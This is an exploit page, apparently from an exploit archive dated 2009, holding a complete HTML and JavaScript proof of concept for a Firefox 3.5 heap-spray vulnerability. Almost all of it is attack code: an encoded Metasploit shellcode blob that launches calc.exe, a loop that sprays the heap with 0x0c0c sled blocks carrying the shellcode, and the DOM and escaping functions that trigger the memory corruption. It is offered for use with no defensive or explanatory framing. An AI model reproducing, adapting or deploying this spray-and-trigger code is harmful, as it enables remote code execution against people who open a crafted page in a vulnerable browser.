Mozilla Firefox 3.5 Remote Buffer Overflow Exploit

Hack 2009-07-14
XML/HTML代码
  1. <html>  
  2. <head>  
  3. <title>Firefox 3.5 Vulnerability</title>  
  4. Firefox 3.5 Heap Spray Vulnerabilty   
  5. </br>  
  6. Author: SBerry aka Simon Berry-Byrne   
  7. </br>  
  8. Thanks to HD Moore for the insight and Metasploit for the payload   
  9. <div id="content">  
  10. <p>  
  11. <FONT>  
  12. </FONT>  
  13. </p>  
  14. <p>  
  15. <FONT>Loremipsumdoloregkuw</FONT></p>  
  16. <p>  
  17. <FONT>Loremipsumdoloregkuwiert</FONT>  
  18. </p>  
  19. <p>  
  20. <FONT>Loremikdkw  </FONT>  
  21. </p>  
  22. </div>  
  23. <script language=JavaScript>  
  24.   
  25. /* Calc.exe */   
  26. var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +   
  27.                        "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
  28.                        "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
  29.                        "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
  30.                        "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
  31.                        "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
  32.                        "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
  33.                        "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
  34.                        "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
  35.                        "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
  36.                        "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
  37.                        "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
  38.                        "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
  39.                        "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
  40.                        "%u652E%u6578%u9000");   
  41. /* Heap Spray Code */   
  42. oneblock = unescape("%u0c0c%u0c0c");   
  43. var fullblock = oneblock;   
  44. while (fullblock.length<0x60000)   
  45. {   
  46.     fullblock += fullblock;   
  47. }   
  48. sprayContainer = new Array();   
  49. for (i=0; i<600; i++)   
  50. {   
  51.     sprayContainer[i] = fullblock + shellcode;   
  52. }   
  53. var searchArray = new Array()   
  54.   
  55. function escapeData(data)   
  56. {   
  57.  var i;   
  58.  var c;   
  59.  var escData='';   
  60.  for(i=0;i<data.length;i++)   
  61.   {   
  62.    c=data.charAt(i);   
  63.    if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);   
  64.    escData+=c;   
  65.   }   
  66.  return escData;   
  67. }   
  68.   
  69. function DataTranslator(){   
  70.     searchArray = new Array();   
  71.     searchArray[0] = new Array();   
  72.     searchArray[0]["str"] = "blah";   
  73.     var newElement = document.getElementById("content")   
  74.     if (document.getElementsByTagName) {   
  75.         var i=0;   
  76.         pTags = newElement.getElementsByTagName("p")   
  77.         if (pTags.length > 0)   
  78.         while (i<pTags.length)   
  79.         {   
  80.             oTags = pTags[i].getElementsByTagName("font")   
  81.             searchArray[i+1] = new Array()   
  82.             if (oTags[0])   
  83.             {   
  84.                 searchArray[i+1]["str"] = oTags[0].innerHTML;   
  85.             }   
  86.             i++   
  87.         }   
  88.     }   
  89. }   
  90.   
  91. function GenerateHTML()   
  92. {   
  93.     var html = "";   
  94.     for (i=1;i<searchArray.length;i++)   
  95.     {   
  96.         html += escapeData(searchArray[i]["str"])   
  97.     }   
  98. }   
  99. DataTranslator();   
  100. GenerateHTML()   
  101. </script>  
  102. </body>  
  103. </html>  
  104. <html><body></body></html>